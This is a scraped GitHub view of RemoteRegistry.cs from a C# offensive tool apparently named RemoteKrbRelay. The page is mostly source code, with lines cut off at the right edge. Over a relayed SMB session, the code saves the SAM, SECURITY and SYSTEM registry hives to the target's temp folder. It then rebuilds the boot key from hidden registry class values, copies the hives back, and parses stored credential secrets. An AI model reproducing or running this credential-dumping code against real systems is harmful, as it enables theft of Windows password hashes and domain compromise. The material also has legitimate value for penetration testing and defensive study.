RemoteKrbRelay / Exploit / RemoteKrbRelay / Relay / Attacks / RemoteRegistry.cs

MzHmO Initial Commit a655de2 · 5 months ago History

```
1   using SMBLibrary;
2   using SMBLibrary.Client;
3   using SMBLibrary.Client.Helpers;
4   using SMBLibrary.Services;
5   using System;
6   using System.IO;
7   using System.Text;
8
9   namespace RemoteKrbRelay.Clients.Attacks
10  {
11      internal class RemoteRegistry
12      {
```


RemoteKrbRelay / Exploit / RemoteKrbRelay / Relay / Attacks / RemoteRegistry.cs Top

Code Blame 99 lines (88 loc) · 4.36 KB Raw

```
11      internal class RemoteRegistry
18                  return;
19              }
20              using (RPCCallHelper rpc = new RPCCallHelper(smbClient, RrpService.ServiceP
21              {
22                  var status = rpc.BindPipe();
23                  if (status != NTStatus.STATUS_SUCCESS)
24                  {
25                      Console.WriteLine("[-] Failed to bind pipe");
26                      return;
27                  }
28
29                  var hKey = RrpServiceHelper.OpenLocalMachine(rpc, out status);
30
31                  var sam = RrpServiceHelper.BaseRegCreateKey(rpc, hKey, "SAM\x00", out s
32                  status = RrpServiceHelper.BaseRegSaveKey(rpc, sam, "C:\\windows\\temp\\
33                  RrpServiceHelper.BaseRegCloseKey(rpc, sam, out status);
34
35                  var sec = RrpServiceHelper.BaseRegCreateKey(rpc, hKey, "SECURITY\x00",
36                  status = RrpServiceHelper.BaseRegSaveKey(rpc, sec, "C:\\windows\\temp\\
37                  RrpServiceHelper.BaseRegCloseKey(rpc, sec, out status);
38
39                  var sys = RrpServiceHelper.BaseRegCreateKey(rpc, hKey, "SYSTEM\x00", ou
40                  status = RrpServiceHelper.BaseRegSaveKey(rpc, sys, "C:\\windows\\temp\\
41                  RrpServiceHelper.BaseRegCloseKey(rpc, sys, out status);
42
43                  StringBuilder scrambledKey = new StringBuilder();
44                  foreach (var key in new string[] { "JD", "Skew1", "GBG", "Data" }) //,
45                  {
46                      var hBootKey = RrpServiceHelper.BaseRegOpenKey(rpc, hKey, $"SYSTEM\
47                      var v = RrpServiceHelper.baseRegQueryInfoKey(rpc, hBootKey, out sta
48                      scrambledKey.Append(v.lpClassOut.Value);
49                      RrpServiceHelper.BaseRegCloseKey(rpc, hBootKey, out status);
50                  }
51                  RrpServiceHelper.BaseRegCloseKey(rpc, hKey, out status);
52                  byte[] scrambled = Helpers.Helpers.StringToByteArray(scrambledKey.ToStr
53                  byte[] transforms = new byte[] { 0x8, 0x5, 0x4, 0x2, 0xb, 0x9, 0xd, 0x3
54                  byte[] bootKey = new byte[16];
55                  for (int i = 0; i < 16; i++)
56                  {
```

Http.cs
LDAP.cs
Relay.cs
Smb.cs
Smb
App.config
Program.cs
RemoteKrbRelay.csproj
RemoteKrbRelay.csproj.user
packages.config
packages
RemoteKrbRelay.sln
FindAvailablePort
README.md

```
                bootKey[i] = scrambled[transforms[i]];
            }
            Console.WriteLine("[*] Bootkey: {0}", Helpers.Helpers.ByteArrayToString

            //
            if (wasDisabled)
            {
                if (!ServiceManager.setService(smbClient, "remoteregistry\x00", SER
                {
                    Console.WriteLine("[-] Could not change service config back to
                }
                else
                {
                    Console.WriteLine("[*] Service back to original state");
                }
            }

            Shares.copyFile(smbClient, "windows\\temp\\sam.tmp", true, out byte[] b
            Shares.copyFile(smbClient, "windows\\temp\\sec.tmp", true, out byte[] b
            Shares.copyFile(smbClient, "windows\\temp\\sys.tmp", true, out byte[] b

            if (bsam.Length > 0 && bsec.Length > 0 && bsys.Length > 0)
            {
                Console.WriteLine("[+] Dump successful");
            }
            else
            {
                Console.WriteLine("[-] Dump failed");
                return;
            }

            if (saveToPwd)
            {
                File.WriteAllBytes("sam", bsam);
                File.WriteAllBytes("sec", bsec);
                File.WriteAllBytes("sys", bsys);
            }

            HiveParser.Parse.ParseSecrets(bsam, bsec, bsys, bootKey);
        }
    }
}
```